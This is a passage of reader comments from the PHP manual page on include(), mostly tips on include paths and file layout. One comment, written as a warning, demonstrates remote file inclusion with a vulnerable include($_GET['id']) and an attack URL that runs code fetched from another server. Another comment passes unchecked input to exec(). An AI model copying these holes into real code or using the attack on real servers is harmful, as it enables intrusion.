So if your have a.php that includes include/b.php that includes ../extern/c.php, it will not do what you want. You can use extern/c.php instead if you never execute outside of the document root. For me that just will not cut it. Since I execute test suites if files are directly called, like in python.
Here is my dirty trick that works, since I only have two levels of file hierarchy:
set_include_path("../:./");
require_once("extern/c.php");
And here is an open question: Why are the included files not looked up relative from the file that includes them and then in the include path? This would be a behavior like in all other languages.
rickkyREMOVETHIS at gmail dot com
16-Nov-2006 01:03
16-Nov-2006 01:03
In response to http://uk.php.net/manual/en/function.include.php#38000
Using the following at the top of your CLI scripts will make includes work similar to web PHP.
#!/usr/bin/php
<?php chdir(dirname(__FILE__)); ?>
This changes the current working directory to the one your script is running in. Its quite used for taking existing web scripts and getting them to run quickly in the command line.
Janci
16-Nov-2006 07:59
16-Nov-2006 07:59
Please note that althought you can call a function that is DEFINED later in the code, you cannot call a function that is defined in a file which is INCLUDED later. Consider following two examples:
Example 1:
<?php
test();
function test()
{
echo 'In test.';
}
?>
Example 2:
file1.php:
<?
test();
include 'file2.php';
?>
file2.php:
<?
function test()
{
echo 'In test.';
}
?>
Please be aware that while the first example will work as expected, the second one will generate a fatal error "Call to undefined function: test() ...". The same is true for the require.
mlindal at pfc dot forestry dot ca
08-Aug-2006 08:33
08-Aug-2006 08:33
If a person directly accesses an include file by mistake, you may want to forward them to a correct default page.
Do this by:
Say the file to be included is 'newpubs.php'
and the main pages are either newpubs_e.php or newpubs_f.php
if($_SERVER[PHP_SELF]=="/newpubs.php")
{
header("Location: newpubs_e.php");
exit;
}
Will send them to newpubs_e.php if they try to access newpubs.php directly.
medhefgo at googlemail dot com
27-May-2006 04:50
27-May-2006 04:50
Because there is no quick way to check if a file is in include_path, I've made this function:
<?php
function is_includeable($filename, $returnpaths = false) {
$include_paths = explode(PATH_SEPARATOR, ini_get('include_path'));
foreach ($include_paths as $path) {
$include = $path.DIRECTORY_SEPARATOR.$filename;
if (is_file($include) && is_readable($include)) {
if ($returnpaths == true) {
$includable_paths[] = $path;
} else {
return true;
}
}
}
return (isset($includeable_paths) && $returnpaths == true) ? $includeable_paths : false;
}
?>
NOdasnipaSPAM
19-May-2006 02:40
19-May-2006 02:40
at spam guard dot gmail com
to php dot net at reinsveien dot com:
if you know the domain the file should be coming from then you can parse the variable for the domain and make sure that it matches the domain you expect, example:
<?php
$path="/full/path/to/script/";
if (getdomain($path) == 'yourdomain'){
include($path.'somefile.php');
}
?>
this should prevent remote execution of any malicious script
lholst+phpnet at students dot cs dot uu dot nl
08-May-2006 12:15
08-May-2006 12:15
What cavarlier refers to is that on some editors, UTF-8 files are prefixed with a BOM (Byte Order Mark), an invisible marker three bytes in size, which are output by PHP if it encouters them (which is before the <?php on the first line). Notepad is particularly notorious creating these.
However, any decent editor (e.g. Notepad2) can save UTF-8 files without BOM, and if you do that the first <?php tag will truly be on the first character of the file.
So this does not mean that UTF-8 cannot be used by PHP.
cavarlier [at] hotmail [dot] com
22-Apr-2006 12:59
22-Apr-2006 12:59
please note when you include a (utf-8) encoded file, this will be sufficient to send headers even if it doesnt contain any line breaks
stalker at ruun dot de
10-Jan-2006 04:55
10-Jan-2006 04:55
a simple function to recursively include e.g. the include-directory of your site and its subdirs:
<?php
function includeRecurse($dirName) {
if(!is_dir($dirName))
return false;
$dirHandle = opendir($dirName);
while(false !== ($incFile = readdir($dirHandle))) {
if($incFile != "."
&& $incFile != "..") {
if(is_file("$dirName/$incFile"))
include_once("$dirName/$incFile");
elseif(is_dir("$dirName/$incFile"))
includeRecurse("$dirName/$incFile");
}
}
closedir($dirHandle);
}
?>
php at bucksvsbytes dot com
03-Oct-2005 12:31
03-Oct-2005 12:31
The documentation should make it clearer that the include argument is not a site path (i.e. not relative to the document root or to any web server defined aliases), but rather a path on the host relative to the calling script's directory.
Jesper Juhl
14-Aug-2005 08:14
14-Aug-2005 08:14
If you want to prevent direct access to some files and only allow them to be used as include files by other scripts, then an easy way to accomplish that is to check a define in the include file.
Like this.
includefile.php
---
<?php
defined('_VALID_INCLUDE') or die('Direct access not allowed.');
/* rest of file */
?>
script.php
---
<?php
define('_VALID_INCLUDE', TRUE);
include('includefile.php');
/* rest of file */
?>
ignacio esviza
19-Jul-2005 02:10
19-Jul-2005 02:10
Hi, there...
I've use this in order to grab the output from an include() but without sending it to the buffer.
Headers are not sent neither.
<?php
function include2($file){
$buffer = ob_get_contents();
include $file;
$output = substr(ob_get_contents(),strlen($buffer));
ob_end_clean();
ob_start();
echo $buffer;
return $output;
}
?>
Ethilien
18-Jul-2005 12:04
18-Jul-2005 12:04
Another way of getting the proper include path relative to the current file, rather than the working directory is:
<?php
include realpath(dirname(__FILE__) . "/" . "relative_path");
?>
Berenguer Blasi
04-Jul-2005 06:07
04-Jul-2005 06:07
When working with a well organized project you may come across multiple problems when including, if your files are properly stored in some nice folders structure such as:
- src
- web
- bo
- lib
- test
- whatever
as the include path's behaviour is somehow strange.
The workaround I use is having a file (ex: SiteCfg.class.php) where you set all the include paths for your project such as:
$BASE_PATH = dirname(__FILE__);
$DEPENDS_PATH = ".;".$BASE_PATH;
$DEPENDS_PATH .= ";".$BASE_PATH."/lib";
$DEPENDS_PATH .= ";".$BASE_PATH."/test";
ini_set("include_path", ini_get("include_path").";".$DEPENDS_PATH);
Make all paths in this file relative to IT'S path. Later on you can import any file within those folders from wherever with inlude/_once, require/_once without worrying about their path.
Just cross fingers you have permissions to change the server's include path.
17-May-2005 08:10
Thought you can figure it out by reading the doc, this hint might save you some time. If you override include_path, be sure to include the current directory ( . ) in the path list, otherwise include("includes/a.php") will not search in the current script directory.
e.g :
if(file_exists("includes/a.php"))
include("includes/a.php")
The first line will test to true, however include will not find the file, and you'll get a "failed to open stream" error
php at REMOVEMEkennel17 dot co dot uk
02-May-2005 05:20
02-May-2005 05:20
As stated above, when using return() to terminate execution of an included file, any functions defined in the file will still be defined in the global scope, even if the return() occurs before their definition.
It should be noted that class definitions behave in the same way.
morris.php <A T> it-solutions.org
28-Apr-2005 05:31
28-Apr-2005 05:31
Something not previously stated here - but found elsewhere - is that if a file is included using a URL and it has a '.php' extension - the file is parsed by php - not just included as it would be if it were linked to locally.
This means the functions and (more importantly) classes included will NOT work.
for example:
include "http://MyServer.com/MyInclude.php";
would not give you access to any classes or functions within the MyInclude.php file.
to get access to the functions or classes you need to include the file with a different extension - such as '.inc' This way the php interpreter will not 'get in the way' and the text will be included normally.
gillis dot php at TAKETHISAWAY dot gillis dot fi
14-Apr-2005 02:47
14-Apr-2005 02:47
This is not directly linked to the include function itself. But i had a problem with dynamically generated include-files that could generate parse errors and cause the whole script to parse-error.
So as i could not find any ready solution for this problem i wrote the mini-function. It's not the most handsome solution, but it works for me.
<?php
function ChkInc($file){
if(substr(exec("php -l $file"), 0, 28) == "No syntax errors detected in"){
return true;
}else{
return false;
}
}
?>
if someone else has a better solution, do post it...
Note. remember that this function uses unchecked variables passed to exec, so don't use it for direct user input without improving it.
//Gillis Danielsen
dragon at wastelands dot net
09-Dec-2004 04:30
09-Dec-2004 04:30
The __FILE__ macro will give the full path and name of an included script when called from inside the script. E.g.
<? include("/different/root/script.php"); ?>
And this file contains:
<? echo __FILE__; ?>
The output is:
/different/root/script.php
Surprisingly useful :> Obviously something like dirname(__FILE__) works just fine.
mattcimino at gardiners dot com
10-Aug-2004 05:47
10-Aug-2004 05:47
To avoid painfully SLOW INCLUDES under IIS be sure to set "output_buffering = on" in php.ini. File includes dropped from about 2 seconds to 0 seconds when this was set.
durkboek A_T hotmail D_O_T com
03-Jun-2004 04:09
03-Jun-2004 04:09
I would like to emphasize the danger of remote includes. For example:
Suppose, we have a server A with Linux and PHP 4.3.0 or greater installed which has the file index.php with the following code:
<?php
// File: index.php
include ($_GET['id'].".php");
?>
This is, of course, not a very good way to program, but i actually found a program doing this.
Then, we hava a server B, also Linux with PHP installed, that has the file list.php with the following code:
<?php
// File: list.php
$output = "";
exec("ls -al",$output);
foreach($output as $line) {
echo $line . "<br>\n";
}
?>
If index.php on Server A is called like this: http://server_a/index.php?id=http://server_b/list
then Server B will execute list.php and Server A will include the output of Server B, a list of files.
But here's the trick: if Server B doesn't have PHP installed, it returns the file list.php to Server A, and Server A executes that file. Now we have a file listing of Server A!
I tried this on three different servers, and it allways worked.
This is only an example, but there have been hacks uploading files to servers etc.
So, allways be extremely carefull with remote includes.